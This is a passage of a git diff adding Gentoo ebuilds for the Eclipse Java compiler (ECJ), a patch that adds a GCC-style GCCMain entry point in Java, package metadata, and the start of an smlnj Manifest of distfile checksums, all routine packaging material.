~dev-java/ant-eclipse-ecj-${PV} )" + +src_unpack() { + unpack ${A} + cd "${S}" + + # These have their own package. + rm -f org/eclipse/jdt/core/JDTCompilerAdapter.java || die + rm -fr org/eclipse/jdt/internal/antadapter || die + + # upstream build.xml excludes this + rm META-INF/eclipse.inf +} + +src_compile() { + local javac_opts javac java jar + + javac_opts="$(java-pkg_javac-args) -encoding ISO-8859-1" + javac="$(java-config -c)" + java="$(java-config -J)" + jar="$(java-config -j)" + + find org/ -path org/eclipse/jdt/internal/compiler/apt -prune -o \ + -path org/eclipse/jdt/internal/compiler/tool -prune -o -name '*.java' \ + -print > sources-1.4 + find org/eclipse/jdt/internal/compiler/{apt,tool} -name '*.java' > sources-1.6 + + mkdir -p bootstrap || die + cp -pPR org bootstrap || die + cd "${S}/bootstrap" || die + + einfo "bootstrapping ${MY_PN} with ${javac} ..." + ${javac} ${javac_opts} @../sources-1.4 || die + ${javac} -encoding ISO-8859-1 -source 1.6 -target 1.6 @../sources-1.6 || die + + find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \ + | xargs ${jar} cf ${MY_PN}.jar + + cd "${S}" || die + einfo "building ${MY_PN} with bootstrapped ${MY_PN} ..." + ${java} -classpath bootstrap/${MY_PN}.jar \ + org.eclipse.jdt.internal.compiler.batch.Main \ + ${javac_opts} -nowarn @sources-1.4 || die + ${java} -classpath bootstrap/${MY_PN}.jar \ + org.eclipse.jdt.internal.compiler.batch.Main \ + -encoding ISO-8859-1 -source 1.6 -target 1.6 -nowarn @sources-1.6 || die + + find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \ + | xargs ${jar} cf ${MY_PN}.jar +} + +src_install() { + java-pkg_dolauncher ${MY_PN}-${SLOT} --main \ + org.eclipse.jdt.internal.compiler.batch.Main + + # disable the class version verify, this has intentionally + # some classes with 1.6, but most is 1.4 + JAVA_PKG_STRICT="" java-pkg_dojar ${MY_PN}.jar +} + +pkg_postinst() { + einfo "To select between slots of ECJ..." + einfo " # eselect ecj" + + eselect ecj update ecj-${SLOT} +} + +pkg_postrm() { + eselect ecj update +} diff --git a/dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild b/dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild new file mode 100644 index 00000000..ba569b6e --- /dev/null +++ b/dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild @@ -0,0 +1,103 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild,v 1.1 2012/03/03 22:15:42 caster Exp $ + +EAPI="4" + +inherit java-pkg-2 + +MY_PN="ecj" +DMF="R-${PV}-201202080800" +S="${WORKDIR}" + +DESCRIPTION="Eclipse Compiler for Java" +HOMEPAGE="http://www.eclipse.org/" +SRC_URI="http://download.eclipse.org/eclipse/downloads/drops/${DMF}/${MY_PN}src-${PV}.jar" + +IUSE="+ant userland_GNU" + +LICENSE="EPL-1.0" +KEYWORDS="~amd64 ~ppc ~ppc64 ~x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-solaris" +SLOT="3.7" + +CDEPEND=">=app-admin/eselect-ecj-0.3" + +JAVA_PKG_WANT_SOURCE=1.4 +JAVA_PKG_WANT_TARGET=1.4 + +DEPEND="${CDEPEND} + app-arch/unzip + >=virtual/jdk-1.6 + userland_GNU? ( sys-apps/findutils )" +RDEPEND="${CDEPEND} + >=virtual/jre-1.4" +PDEPEND="ant? ( ~dev-java/ant-eclipse-ecj-${PV} )" + +src_unpack() { + unpack ${A} + cd "${S}" + + # These have their own package. + rm -f org/eclipse/jdt/core/JDTCompilerAdapter.java || die + rm -fr org/eclipse/jdt/internal/antadapter || die + + # upstream build.xml excludes this + rm META-INF/eclipse.inf +} + +src_compile() { + local javac_opts javac java jar + + javac_opts="$(java-pkg_javac-args) -encoding ISO-8859-1" + javac="$(java-config -c)" + java="$(java-config -J)" + jar="$(java-config -j)" + + find org/ -path org/eclipse/jdt/internal/compiler/apt -prune -o \ + -path org/eclipse/jdt/internal/compiler/tool -prune -o -name '*.java' \ + -print > sources-1.4 + find org/eclipse/jdt/internal/compiler/{apt,tool} -name '*.java' > sources-1.6 + + mkdir -p bootstrap || die + cp -pPR org bootstrap || die + cd "${S}/bootstrap" || die + + einfo "bootstrapping ${MY_PN} with ${javac} ..." + ${javac} ${javac_opts} @../sources-1.4 || die + ${javac} -encoding ISO-8859-1 -source 1.6 -target 1.6 @../sources-1.6 || die + + find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \ + | xargs ${jar} cf ${MY_PN}.jar + + cd "${S}" || die + einfo "building ${MY_PN} with bootstrapped ${MY_PN} ..." + ${java} -classpath bootstrap/${MY_PN}.jar \ + org.eclipse.jdt.internal.compiler.batch.Main \ + ${javac_opts} -nowarn @sources-1.4 || die + ${java} -classpath bootstrap/${MY_PN}.jar \ + org.eclipse.jdt.internal.compiler.batch.Main \ + -encoding ISO-8859-1 -source 1.6 -target 1.6 -nowarn @sources-1.6 || die + + find org/ -name '*.class' -o -name '*.properties' -o -name '*.rsc' \ + | xargs ${jar} cf ${MY_PN}.jar +} + +src_install() { + java-pkg_dolauncher ${MY_PN}-${SLOT} --main \ + org.eclipse.jdt.internal.compiler.batch.Main + + # disable the class version verify, this has intentionally + # some classes with 1.6, but most is 1.4 + JAVA_PKG_STRICT="" java-pkg_dojar ${MY_PN}.jar +} + +pkg_postinst() { + einfo "To select between slots of ECJ..." + einfo " # eselect ecj" + + eselect ecj update ecj-${SLOT} +} + +pkg_postrm() { + eselect ecj update +} diff --git a/dev-java/eclipse-ecj/files/eclipse-ecj-3.3.0-gcj.patch b/dev-java/eclipse-ecj/files/eclipse-ecj-3.3.0-gcj.patch new file mode 100644 index 00000000..e87aa4f8 --- /dev/null +++ b/dev-java/eclipse-ecj/files/eclipse-ecj-3.3.0-gcj.patch @@ -0,0 +1,509 @@ +--- org/eclipse/jdt/internal/compiler/batch/messages.properties 8 Feb 2007 15:04:43 -0000 1.546.2.23 ++++ org/eclipse/jdt/internal/compiler/batch/messages.properties 26 Feb 2007 18:21:06 -0000 +@@ -249,3 +249,8 @@ + template.restrictedAccess.constructor = The constructor {0} is not accessible due to restriction on classpath entry {1} + template.restrictedAccess.field = The field {0} from the type {1} is not accessible due to restriction on classpath entry {2} + template.restrictedAccess.method = The method {0} from the type {1} is not accessible due to restriction on classpath entry {2} ++ ++# GCCMain messages. ++gcc.zipArg=-fzip-target requires argument ++gcc.zipDepArg=-fzip-dependency requires argument ++gcc.noClasspath=no classpath specified +--- /dev/null 1 Jan 1970 00:00:00 -0000 ++++ org/eclipse/jdt/internal/compiler/batch/GCCMain.java 1 Jan 1970 00:00:00 -0000 +@@ -0,0 +1,495 @@ ++/** ++ * ++ */ ++package org.eclipse.jdt.internal.compiler.batch; ++ ++import java.io.BufferedOutputStream; ++import java.io.BufferedReader; ++import java.io.ByteArrayInputStream; ++import java.io.File; ++import java.io.FileOutputStream; ++import java.io.FileReader; ++import java.io.IOException; ++import java.io.InputStreamReader; ++import java.io.OutputStream; ++import java.io.PrintWriter; ++import java.io.UnsupportedEncodingException; ++import java.util.ArrayList; ++import java.util.HashSet; ++import java.util.Iterator; ++import java.util.Map; ++import java.util.StringTokenizer; ++import java.util.zip.CRC32; ++import java.util.zip.ZipEntry; ++import java.util.zip.ZipOutputStream; ++ ++import org.eclipse.jdt.core.compiler.InvalidInputException; ++import org.eclipse.jdt.internal.compiler.ClassFile; ++import org.eclipse.jdt.internal.compiler.CompilationResult; ++import org.eclipse.jdt.internal.compiler.env.AccessRule; ++import org.eclipse.jdt.internal.compiler.env.AccessRuleSet; ++import org.eclipse.jdt.internal.compiler.impl.CompilerOptions; ++import org.eclipse.jdt.internal.compiler.util.Messages; ++import org.eclipse.jdt.internal.compiler.util.SuffixConstants; ++ ++/** ++ * This is an alternate entry point for the command-line compiler which ++ * is simpler to integrate into GCC. In particular the option processing ++ * is more GNU-like and the recognized options are similar to those supported ++ * by other GCC front ends. ++ */ ++public class GCCMain extends Main { ++ ++ // All the compilation units specified on the command line. ++ private HashSet commandLineCompilationUnits = new HashSet(); ++ // True if we are only checking syntax. ++ private boolean syntaxOnly; ++ // If not null, the name of the output zip file. ++ // If null, we are generating class files in the file system, ++ // not a zip file. ++ private String zipDestination; ++ // The zip stream to which we're writing, or null if it hasn't been opened. ++ private ZipOutputStream zipStream; ++ ++ // If not null, the name of the zip file to which dependency class files ++ // should be written. ++ private String zipDependencyDestination; ++ // The zip stream to which dependency files should be written. ++ private ZipOutputStream zipDependencyStream; ++ ++ public GCCMain(PrintWriter outWriter, PrintWriter errWriter, ++ boolean systemExitWhenFinished) { ++ super(outWriter, errWriter, systemExitWhenFinished); ++ this.logger.setEmacs(); ++ } ++ ++ public GCCMain(PrintWriter outWriter, PrintWriter errWriter, ++ boolean systemExitWhenFinished, Map customDefaultOptions) { ++ super(outWriter, errWriter, systemExitWhenFinished, ++ customDefaultOptions); ++ this.logger.setEmacs(); ++ } ++ ++ private void fail(Exception t) { ++ this.logger.logException(t); ++ System.exit(1); ++ } ++ ++ public CompilationUnit[] getCompilationUnits() throws InvalidInputException { ++ CompilationUnit[] units = super.getCompilationUnits(); ++ for (int i = 0; i < units.length; ++i) ++ this.commandLineCompilationUnits.add(units[i]); ++ return units; ++ } ++ ++ private String combine(char[] one, char[] two) { ++ StringBuffer b = new StringBuffer(); ++ b.append(one); ++ b.append(two); ++ return b.toString(); ++ } ++ ++ private ZipOutputStream getZipOutput() throws IOException { ++ if (this.zipDestination != null && this.zipStream == null) { ++ OutputStream os; ++ if ("-".equals(this.zipDestination)) { //$NON-NLS-1$ ++ os = System.out; ++ } else { ++ os = new FileOutputStream(this.zipDestination); ++ } ++ zipStream = new ZipOutputStream(new BufferedOutputStream(os)); ++ zipStream.setMethod(ZipOutputStream.STORED); ++ } ++ return zipStream; ++ } ++ ++ private ZipOutputStream getDependencyOutput() throws IOException { ++ if (this.zipDependencyDestination != null && this.zipDependencyStream == null) { ++ OutputStream os = new FileOutputStream(zipDependencyDestination); ++ zipDependencyStream = new ZipOutputStream(new BufferedOutputStream(os)); ++ zipDependencyStream.setMethod(ZipOutputStream.STORED); ++ } ++ return zipDependencyStream; ++ } ++ ++ public void outputClassFiles(CompilationResult unitResult) { ++ if (this.syntaxOnly) { ++ return; ++ } ++ if (this.zipDestination == null) { ++ // Nothing special to do here. ++ super.outputClassFiles(unitResult); ++ return; ++ } ++ if (unitResult == null || unitResult.hasErrors()) { ++ return; ++ } ++ ++ // If we are compiling with indirect dispatch, we don't need ++ // any dependent classes. If we are using the C++ ABI, then we ++ // do need the dependencies in order to do proper layout. ++ boolean gcjCompile = this.commandLineCompilationUnits.contains(unitResult.getCompilationUnit()); ++ if (this.zipDependencyDestination == null && !gcjCompile) { ++ return; ++ } ++ ++ try { ++ ZipOutputStream dest = gcjCompile ? getZipOutput() : getDependencyOutput(); ++ ClassFile[] classFiles = unitResult.getClassFiles(); ++ for (int i = 0; i < classFiles.length; ++i) { ++ ClassFile classFile = classFiles[i]; ++ String filename = combine(classFile.fileName(), SuffixConstants.SUFFIX_class); ++ if (this.verbose) ++ this.out.println( ++ Messages.bind( ++ Messages.compilation_write, ++ new String[] { ++ String.valueOf(this.exportedClassFilesCounter+1), ++ filename ++ })); ++ ZipEntry entry = new ZipEntry(filename); ++ byte[] contents = classFile.getBytes(); ++ CRC32 crc = new CRC32(); ++ crc.update(contents); ++ entry.setSize(contents.length); ++ entry.setCrc(crc.getValue()); ++ dest.putNextEntry(entry); ++ dest.write(contents); ++ dest.closeEntry(); ++ } ++ } catch (IOException err) { ++ fail(err); ++ } ++ } ++ ++ private String getArgument(String option) { ++ int index = option.indexOf('='); ++ return option.substring(index + 1); ++ } ++ ++ private void addPath(ArrayList result, String currentClasspathName) { ++ String customEncoding = null; ++ AccessRule[] accessRules = new AccessRule[0]; ++ String templates[] = new String[AccessRuleSet.MESSAGE_TEMPLATES_LENGTH]; ++ templates[0] = this.bind( ++ "template.restrictedAccess.type", //$NON-NLS-1$ ++ new String[] {"{0}", currentClasspathName}); //$NON-NLS-1$ ++ templates[1] = this.bind( ++ "template.restrictedAccess.constructor", //$NON-NLS-1$ ++ new String[] {"{0}", currentClasspathName}); //$NON-NLS-1$ ++ templates[2] = this.bind( ++ "template.restrictedAccess.method", //$NON-NLS-1$ ++ new String[] {"{0}", "{1}", currentClasspathName}); //$NON-NLS-1$ //$NON-NLS-2$ ++ templates[3] = this.bind( ++ "template.restrictedAccess.field", //$NON-NLS-1$ ++ new String[] {"{0}", "{1}", currentClasspathName}); //$NON-NLS-1$ //$NON-NLS-2$ ++ AccessRuleSet accessRuleSet = new AccessRuleSet(accessRules, templates); ++ FileSystem.Classpath currentClasspath = FileSystem ++ .getClasspath(currentClasspathName, ++ customEncoding, accessRuleSet); ++ if (currentClasspath != null) { ++ result.add(currentClasspath); ++ } ++ } ++ ++ private void parsePath(ArrayList result, String path) { ++ StringTokenizer iter = new StringTokenizer(path, File.pathSeparator); ++ while (iter.hasMoreTokens()) { ++ addPath(result, iter.nextToken()); ++ } ++ } ++ ++ protected void handleWarningToken(String token, boolean isEnabling, ++ boolean useEnableJavadoc) throws InvalidInputException { ++ // Recognize this for compatibility with older versions of gcj. ++ if ("deprecated".equals(token)) //$NON-NLS-1$ ++ token = "deprecation"; //$NON-NLS-1$ ++ else if ("static-access".equals(token) //$NON-NLS-1$ ++ || "dep-ann".equals(token) //$NON-NLS-1$ ++ || "over-ann".equals(token)) { //$NON-NLS-1$ ++ // Some exceptions to the warning naming rule. ++ } else if ("extraneous-semicolon".equals(token)) { //$NON-NLS-1$ ++ // Compatibility with earlier versions of gcj. ++ token = "semicolon"; //$NON-NLS-1$ ++ } else { ++ // Turn "foo-bar-baz" into eclipse-style "fooBarBaz". ++ StringBuffer newToken = new StringBuffer(token.length()); ++ StringTokenizer t = new StringTokenizer(token, "-"); //$NON-NLS-1$ ++ boolean first = true; ++ while (t.hasMoreTokens()) { ++ String next = t.nextToken(); ++ if (first) { ++ newToken.append(next); ++ first = false; ++ } else { ++ newToken.append(Character.toUpperCase(next.charAt(0))); ++ newToken.append(next.substring(1)); ++ } ++ } ++ token = newToken.toString(); ++ } ++ super.handleWarningToken(token, isEnabling, useEnableJavadoc); ++ } ++ ++ private void turnWarningsToErrors() { ++ Object[] entries = this.options.entrySet().toArray(); ++ for (int i = 0, max = entries.length; i < max; i++) { ++ Map.Entry entry = (Map.Entry) entries[i]; ++ if (!(entry.getKey() instanceof String)) ++ continue; ++ if (!(entry.getValue() instanceof String)) ++ continue; ++ if (((String) entry.getValue()).equals(CompilerOptions.WARNING)) { ++ this.options.put(entry.getKey(), CompilerOptions.ERROR); ++ } ++ } ++ } ++ ++ /** ++ * Set the debug level to the indicated value. The level should be ++ * between 0 and 2, inclusive, but this is not checked. ++ * @param level the debug level ++ */ ++ private void setDebugLevel(int level) { ++ this.options.put( ++ CompilerOptions.OPTION_LocalVariableAttribute, ++ level > 1 ? CompilerOptions.GENERATE : CompilerOptions.DO_NOT_GENERATE); ++ this.options.put( ++ CompilerOptions.OPTION_LineNumberAttribute, ++ level > 0 ? CompilerOptions.GENERATE : CompilerOptions.DO_NOT_GENERATE); ++ this.options.put( ++ CompilerOptions.OPTION_SourceFileAttribute, ++ CompilerOptions.GENERATE); ++ } ++ ++ private void readFileList(String file, ArrayList result) { ++ try { ++ BufferedReader b = new BufferedReader(new FileReader(file)); ++ String line; ++ while ((line = b.readLine()) != null) { ++ if (line.endsWith(SUFFIX_STRING_java)) ++ result.add(line); ++ } ++ b.close(); ++ } catch (IOException err) { ++ fail(err); ++ } ++ } ++ ++ private void readAllFileListFiles(ArrayList fileList, ArrayList result) { ++ Iterator it = fileList.iterator(); ++ while (it.hasNext()) { ++ readFileList((String) it.next(), result); ++ } ++ } ++ ++ private void handleWall(boolean enable) throws InvalidInputException { ++ // A somewhat arbitrary list. We use the GCC names ++ // here, and the local handleWarningToken translates ++ // for us. ++ handleWarningToken("constructor-name", enable, false); ++ handleWarningToken("pkg-default-method", enable, false); ++ handleWarningToken("masked-catch-block", enable, false); ++ handleWarningToken("all-deprecation", enable, false); ++ handleWarningToken("unused-local", enable, false); ++ handleWarningToken("unused-label", enable, false); ++ handleWarningToken("static-receiver", enable, false); ++ handleWarningToken("indirect-static", enable, false); ++ handleWarningToken("no-effect-assign", enable, false); ++ handleWarningToken("char-concat", enable, false); ++ handleWarningToken("useless-type-check", enable, false); ++ handleWarningToken("final-bound", enable, false); ++ handleWarningToken("assert-identifier", enable, false); ++ handleWarningToken("enum-identifier", enable, false); ++ handleWarningToken("finally", enable, false); ++ handleWarningToken("varargs-cast", enable, false); ++ handleWarningToken("unused", enable, false); ++ handleWarningToken("forbidden", enable, false); ++ } ++ ++ public void configure(String[] argv) throws InvalidInputException { ++ if ((argv == null) || (argv.length == 0)) { ++ // This is a "can't happen". ++ System.exit(1); ++ } ++ ++ ArrayList files = new ArrayList(); ++ ArrayList otherFiles = new ArrayList(); ++ String classpath = null; ++ boolean haveFileList = false; ++ boolean inhibitAllWarnings = false; ++ boolean treatWarningsAsErrors = false; ++ ++ for (int i = 0; i < argv.length; ++i) { ++ String currentArg = argv[i]; ++ ++ if (currentArg.startsWith("-fencoding=")) { //$NON-NLS-1$ ++ // Simply accept the last one. ++ String encoding = getArgument(currentArg); ++ try { // ensure encoding is supported ++ new InputStreamReader(new ByteArrayInputStream(new byte[0]), encoding); ++ } catch (UnsupportedEncodingException e) { ++ throw new InvalidInputException( ++ this.bind("configure.unsupportedEncoding", encoding)); //$NON-NLS-1$ ++ } ++ this.options.put(CompilerOptions.OPTION_Encoding, encoding); ++ } else if (currentArg.startsWith("-foutput-class-dir=")) { //$NON-NLS-1$ ++ String arg = getArgument(currentArg); ++ if (this.destinationPath != null) { ++ StringBuffer errorMessage = new StringBuffer(); ++ errorMessage.append("-d"); //$NON-NLS-1$ ++ errorMessage.append(' '); ++ errorMessage.append(arg); ++ throw new InvalidInputException( ++ this.bind("configure.duplicateOutputPath", errorMessage.toString())); //$NON-NLS-1$ ++ } ++ this.destinationPath = arg; ++ //this.generatePackagesStructure = true; ++ } else if (currentArg.startsWith("-fbootclasspath=")) { //$NON-NLS-1$ ++ classpath = getArgument(currentArg); ++ } else if (currentArg.equals("-fzip-target")) { //$NON-NLS-1$ ++ ++i; ++ if (i >= argv.length) ++ throw new InvalidInputException(this.bind("gcc.zipArg")); //$NON-NLS-1$ ++ this.zipDestination = argv[i]; ++ } else if (currentArg.equals("-fzip-dependency")) { //$NON-NLS-1$ ++ ++i; ++ if (i >= argv.length) ++ throw new InvalidInputException(this.bind("gcc.zipDepArg")); //$NON-NLS-1$ ++ this.zipDependencyDestination = argv[i]; ++ } else if (currentArg.startsWith("-g")) { //$NON-NLS-1$ ++ if (currentArg.equals("-g0")) { //$NON-NLS-1$ ++ setDebugLevel(0); ++ } else if (currentArg.equals("-g2") || currentArg.equals("-g3") //$NON-NLS-1$ //$NON-NLS-2$ ++ || currentArg.equals("-g")) { //$NON-NLS-1$ ++ setDebugLevel(2); ++ } else { ++ // Handle -g1 but also things like -gstabs. ++ setDebugLevel(1); ++ } ++ } else if (currentArg.equals("-Werror")) { //$NON-NLS-1$ ++ treatWarningsAsErrors = true; ++ } else if (currentArg.equals("-Wno-error")) { //$NON-NLS-1$ ++ treatWarningsAsErrors = false; ++ } else if (currentArg.equals("-Wall")) { //$NON-NLS-1$ ++ handleWall(true); ++ } else if (currentArg.equals("-Wno-all")) { //$NON-NLS-1$ ++ handleWall(false); ++ } else if (currentArg.startsWith("-Wno-")) { //$NON-NLS-1$ ++ handleWarningToken(currentArg.substring(5), false, false); ++ } else if (currentArg.startsWith("-W")) { //$NON-NLS-1$ ++ handleWarningToken(currentArg.substring(2), true, false); ++ } else if (currentArg.equals("-w")) { //$NON-NLS-1$ ++ inhibitAllWarnings = true; ++ } else if (currentArg.startsWith("-O")) { //$NON-NLS-1$ ++ // Ignore. ++ } else if (currentArg.equals("-v")) { //$NON-NLS-1$ ++ this.verbose = true; ++ } else if (currentArg.equals("-fsyntax-only")) { //$NON-NLS-1$ ++ this.syntaxOnly = true; ++ } else if (currentArg.startsWith("-fsource=")) { //$NON-NLS-1$ ++ currentArg = getArgument(currentArg); ++ if (currentArg.equals("1.3")) { //$NON-NLS-1$ ++ this.options.put(CompilerOptions.OPTION_Source, CompilerOptions.VERSION_1_3); ++ } else if (currentArg.equals("1.4")) { //$NON-NLS-1$ ++ this.options.put(CompilerOptions.OPTION_Source, CompilerOptions.VERSION_1_4); ++ } else if (currentArg.equals("1.5") || currentArg.equals("5") || currentArg.equals("5.0")) { //$NON-NLS-1$//$NON-NLS-2$ //$NON-NLS-3$ ++ this.options.put(CompilerOptions.OPTION_Source, CompilerOptions.VERSION_1_5); ++ } else if (currentArg.equals("1.6") || currentArg.equals("6") || currentArg.equals("6.0")) { //$NON-NLS-1$//$NON-NLS-2$ //$NON-NLS-3$ ++ this.options.put(CompilerOptions.OPTION_Source, CompilerOptions.VERSION_1_6); ++ } else { ++ throw new InvalidInputException(this.bind("configure.source", currentArg)); //$NON-NLS-1$ ++ } ++ } else if (currentArg.startsWith("-ftarget=")) { //$NON-NLS-1$ ++ currentArg = getArgument(currentArg); ++ if (currentArg.equals("1.1")) { //$NON-NLS-1$ ++ this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_1); ++ } else if (currentArg.equals("1.2")) { //$NON-NLS-1$ ++ this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_2); ++ } else if (currentArg.equals("1.3")) { //$NON-NLS-1$ ++ this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_3); ++ } else if (currentArg.equals("1.4")) { //$NON-NLS-1$ ++ this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_4); ++ } else if (currentArg.equals("1.5") || currentArg.equals("5") || currentArg.equals("5.0")) { //$NON-NLS-1$//$NON-NLS-2$ //$NON-NLS-3$ ++ this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_5); ++ } else if (currentArg.equals("1.6") || currentArg.equals("6") || currentArg.equals("6.0")) { //$NON-NLS-1$//$NON-NLS-2$ //$NON-NLS-3$ ++ this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_6); ++ } else if (currentArg.equals("jsr14")) { //$NON-NLS-1$ ++ this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_JSR14); ++ } else { ++ throw new InvalidInputException(this.bind("configure.targetJDK", currentArg)); //$NON-NLS-1$ ++ } ++ } else if (currentArg.equals("-ffilelist-file")) { //$NON-NLS-1$ ++ haveFileList = true; ++ } else if (currentArg.endsWith(SuffixConstants.SUFFIX_STRING_java)) { ++ files.add(currentArg); ++ } else if (currentArg.charAt(0) == '-'){ ++ // FIXME: error if not a file? ++ } else { ++ otherFiles.add(currentArg); ++ } ++ } ++ ++ // Read the file list file. We read them all, but really there ++ // will only be one. ++ if (haveFileList) ++ readAllFileListFiles(otherFiles, files); ++ ++ this.filenames = (String[]) files.toArray(new String[0]); ++ this.encodings = new String[this.filenames.length]; ++ this.destinationPaths = new String[this.filenames.length]; ++ for (int i = 0; i < this.filenames.length; ++i) ++ this.destinationPaths[i] = this.destinationPath; ++ ++ // Classpath processing. ++ ArrayList result = new ArrayList(); ++ if (classpath == null) ++ throw new InvalidInputException(this.bind("gcc.noClasspath")); //$NON-NLS-1$ ++ parsePath(result, classpath); ++ ++ // We must always create both output files, even if one is not used. ++ // That way we will always pass valid zip file on to jc1. ++ try { ++ getZipOutput(); ++ getDependencyOutput(); ++ } catch (IOException err) { ++ fail(err); ++ } ++ ++ if (inhibitAllWarnings) ++ disableWarnings(); ++ if (treatWarningsAsErrors) ++ turnWarningsToErrors(); ++ ++ this.checkedClasspaths = new FileSystem.Classpath[result.size()]; ++ result.toArray(this.checkedClasspaths); ++ ++ this.logger.logCommandLineArguments(argv); ++ this.logger.logOptions(this.options); ++ this.logger.logClasspath(this.checkedClasspaths); ++ ++ this.repetitions = 1; ++ } ++ ++ public boolean compile(String[] argv) { ++ boolean result = super.compile(argv); ++ try { ++ if (zipStream != null) { ++ zipStream.finish(); ++ zipStream.close(); ++ } ++ if (zipDependencyStream != null) { ++ zipDependencyStream.finish(); ++ zipDependencyStream.close(); ++ } ++ } catch (IOException err) { ++ fail(err); ++ } ++ return result; ++ } ++ ++ public static void main(String[] argv) { ++ boolean result = new GCCMain(new PrintWriter(System.out), new PrintWriter(System.err), false).compile(argv); ++ System.exit(result ? 0 : 1); ++ } ++} diff --git a/dev-java/eclipse-ecj/metadata.xml b/dev-java/eclipse-ecj/metadata.xml new file mode 100644 index 00000000..2b50537a --- /dev/null +++ b/dev-java/eclipse-ecj/metadata.xml @@ -0,0 +1,15 @@ + + + +java + +ECJ is the Eclipse Compiler for Java. It's a separate packaging of +the embedded Java compiler that comes with Eclipse. It can be used +as a batch-compiler by running the ecj-3.x script, or it can be +used with Ant by using the -lib option to and and setting +-Dbuild.compiler=ecj + + + Support using ecj in Ant builds via dev-java/ant-eclipse-ecj + + diff --git a/dev-lang/smlnj/Manifest b/dev-lang/smlnj/Manifest new file mode 100644 index 00000000..489d45e2 --- /dev/null +++ b/dev-lang/smlnj/Manifest @@ -0,0 +1,23 @@ +DIST smlnj-110.75-MLRISC.tgz 1422655 SHA256 4daf94fb6bc8ff836a677616fa3aa6d001ad42829af20e662cbed8720b3e7237 SHA512 d1c9bacc135836bc83e5a0f99585d2c8007ecb2eaa9217489c9d5b2a845f82a48f3666b72ae59a016dca3b66bd56c9739461376e2ac628d01646182990e93c84 WHIRLPOOL aa00c3a8729a7ffd3bc96578b7491aa22c2438939cd4443cefcc396501ebc4d5a63d7dc74224e572dd2b9daab5b4dd584773f8c33cac308090eada9c4b598877 +DIST smlnj-110.75-boot.ppc-unix.tgz 5772853 SHA256 06d04c97e15d3bc7e1ae4ea15182bec1748302600fc9c13b77538aed2ccf0006 SHA512 cf34f084a7bca7c1d5c21fa9f356be0224ec886512a44f3dfea0cb9e1af9954662ae6e602250e9c834ccc6e1d3556ff1839a28505776038183b7b77bdb9d6dc7 WHIRLPOOL f1b1aeb8ffaa74dbf01e077426f8874b4e81799685fbbe5eef82c80c882528f06bf5cd4942fd14bd16e8a60abf98593672e4c68497e6a6ca4552c3026fad4ef1 +DIST smlnj-110.75-boot.sparc-unix.tgz 5900426 SHA256 24d4cae7879e0a0f7f5412cd8728b31aaee034f04c551f6c82a830e989d53460 SHA512 19f26bb68d94f03dc5bde68b36c4d6efbe9efd25fe089b3ce16f2ff2baa499af79d18ce2d834900bcf3e709f64c00cdacca149d0cf264fe86c23f93fb94dc1fa WHIRLPOOL 4b49cf4c102e53be1704f1bc58dbe6f7ef3c69637bd0398bdf1355bb0b620b447f73ee4b325739dd16c3b644e292009b6c19cd584f3a2b24a21170412a3a47f5 +DIST smlnj-110.75-boot.x86-unix.tgz 5848139 SHA256 99f986c12474d663984156df9784b2bc8578ce89927fe5c8ba9e68ac09b4469d SHA512 9d482b6546792936345ba54616e74550feb34a8629c547bd095b7f3d70724d8f652118ed41436a3d2f6a1965a81ad59417ae0021b45bf2e52fc4f338a3f5f051 WHIRLPOOL 2853806c10bc4f095a3e5b9f67dfd3cfc2b6e9db43156278c788938af013248599f118c4259901c35a3718a6c7459e0386727cd41aa02abfb5b481924ccd190c +DIST smlnj-110.75-ckit.tgz 194523 SHA256 b5849f96b3cde1d8d33ba94e41c9093fc2f9f35db3499086c69a8552630f9477 SHA512 79cfb8442e5a95418404b94b82981d93cbbac67d70712814a49a53ef97360b8c7ba6ec13ad79b84182d1c6ddb613848041836a947c1ab4a45d822cc7e94f8403 WHIRLPOOL 2f01dc5e57457bb920bf19339705b8a7318f7c51dbb0d39e2ae19c2ee6ec911054d4781d3ed5a49b851311afb042c993efc01cf805603390ca4af7860c85ae2a +DIST smlnj-110.75-cm.tgz 200429 SHA256 4604fac13f3810673233ab7b31649035256f78d0ad86b6a6b43f37ffc5ddb12b SHA512 52b05e0497f8dafd415e42522a42bed5a96b9fbfce09430c914d987cf4983386a3a89f9a8aa9e67163af1428e387cd11f85207f2250083eaf3363e176921aff6 WHIRLPOOL b9fe64a2de84914ffda392251111a700851d757a67c032e86d1e9002f62f5d910cd1a0bc1004353080f228d55191daf3fb443fc7e8dd0a12e4e803c1b9d52751 +DIST smlnj-110.75-cml.tgz 105902 SHA256 0bb3ae6feda0f2b4dc86a3e386462319761733c71aeff36aadcd625790d562c6 SHA512 22237c41a41c5b006ce80d57ef759a5825bf6156296f8755352dcda95c4650e5efd87c554959554bd42673996438a448cb5fab614ccdc7d9e2798a846bfcc2e5 WHIRLPOOL 9782f8c3e263ae50be46fe4d9793084c3d410a9495bf397f643f562cca97fbe7549f9fd611d7687ca7322c21c75f3d7fab15e8dc60b6bccf44faab8b1173affd +DIST smlnj-110.75-compiler.tgz 816964 SHA256 c72c25fa9f844e085448ef07ec5c7f44ebaec44a4ecfbafab38e64193b49bf21 SHA512 ccbbeb2a7e7107c1406a14125d89bec86ebcf8478e8d01f61f1fb6d77d58040c2e85ef620d438321a7a4595d7f3662a275809b93db15c1320a38597130f6d39a WHIRLPOOL 13b63c138ae12b039fb796e3ff4080f613d1b2e9583228532773c15e0edc56004d9fae7e760c67a52a5ed6c7d867aa0ec46df0dea686d126b944dc6cebf2b0b8 +DIST smlnj-110.75-config.tgz 511117 SHA256 